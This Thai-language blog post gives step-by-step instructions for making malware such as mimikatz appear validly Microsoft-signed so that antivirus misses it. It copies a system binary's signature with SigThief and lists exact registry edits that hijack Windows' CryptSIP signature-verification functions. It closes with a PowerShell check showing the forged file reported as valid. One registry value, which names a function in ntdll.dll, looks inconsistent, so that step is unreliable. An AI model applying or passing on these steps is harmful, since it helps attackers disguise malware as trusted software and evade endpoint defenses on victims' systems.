ก่อนหน้านี้เมื่อวันที่ 30/09/2017 ที่ผ่านมา ในงาน Redpill2017 ผมในหัวข้อเรื่อง “Endpoint protection is not enough” ทีนี้หนึ่งในนั้นที่ทำให้เห็นคือการสร้าง fake certificate ของ Microsoft แล้ว sign ไปยัง exe ใดๆ ก็ทำให้สามารถ bypass Antivirus บางตัวได้ จากภาพจะเห็นว่าก่อน sign ตอนแรกมี Antivirus อยู่ 50 จาก 63 ตัวที่สามารถจับได้ว่าไฟล์ backdoor นี้เป็น malware แต่พอ sign ไปแล้วมันกลายเป็นว่ามี Antivirus 39 ตัวจาก 63 ตัวที่สามารถจับไฟล์ backdoor นี้ได้ ซึ่งก็ลดไปเยอะพอสมควรเลยทีเดียว
ทีนี้หลังจากงาน DerbyCon มีการปล่อยวิธีที่ทำให้มองว่าไฟล์ backdoor ของเรากลายเป็นของ Microsoft ได้ ด้วยการหลอกและแก้ไข Registry key ของ Windows นั่นเอง โดยขั้นตอนการทำมีดังนี้
1. สร้าง malware ใดๆขึ้นมา หรือลอง download mimikatz.exe มาลองดูก็ได้ครับ
2. download sigthief ตัวสำหรับการขโมย signature จาก exe ตัวหนึ่งไปให้ exe อีกตัวหนึ่ง โดยตัวเครื่องมือจะทำการตัดส่วน signature ของไฟล์ไปให้กับอีกไฟล์หนึ่ง แก้ไขค่า certificate table ของไฟล์เพื่อ sign file แน่นอนว่ามันไม่ใช่ valid signature นะครับ
1 |
https://github.com/secretsquirrel/SigThief |
3. ใช้ sigthief เพื่อทำการขโมย signature
1 |
sigthief.py -i C:\Windows\System32\consent.exe -t mimikatz.exe -o testaroo.exe |
4. แก้ไข registry key ของ Windows โดย
- CryptSIPDllVerifyIndirectData เป็น function การเข้าไปตรวจสอบ hash ของส่วนข้อมูลใดๆ
- CryptSIPDllGetSignedDataMsg เป็น function สำหรับการดึง Authenticode ของไฟล์ออกมา
32bit
1 2 3 4 |
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) แก้ไขเป็น C:\Windows\System32\ntdll.dll HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) แก้ไขเป็น DbgUiContinue HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) แก้ไขเป็น C:\Windows\System32\ntdll.dll HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) แก้ไขเป็น GetLegitMSSignature |
64bit
1 2 3 4 |
HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) แก้ไขจาก C:\Windows\SysWOW64\WINTRUST.DLL ให้กลายเป็น C:\Windows\System32\ntdll.dll HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) แก้ไขจาก CryptSIPVerifyIndirectData ให้กลายเป็น DbgUiContinue HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) แก้ไขจาก C:\Windows\SysWOW64\WINTRUST.DLL ให้กลายเป็น C:\Windows\System32\ntdll.dll HKLM\SOFTWARE\WOW6432Node\\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) แก้ไขจาก CryptSIPGetSignedDataMsg ให้กลายเป็น GetLegitMSSignature |
จากการแก้ไขจะเห็นว่ามีการระบุการตรวจสอบแทนที่จะเป็น WINTRUST.dll ก็กลายเป็น ntdll.dll และ function ที่เฉพาะขึ้นมาแทน ซึ่งจุดนี้ทำให้การมองของ Microsoft เปลี่ยนไป
5. Verify ดูว่าของจริงจริงหรือไม่
1 |
Get-AuthenticodeSignature -FilePath C:\Path\To\file.exe |
จากภาพจะเห็นว่า testaroo.exe กลายเป็น Valid signature ไปซะอย่างงั้น
Source:: CONSCIOUSHACKER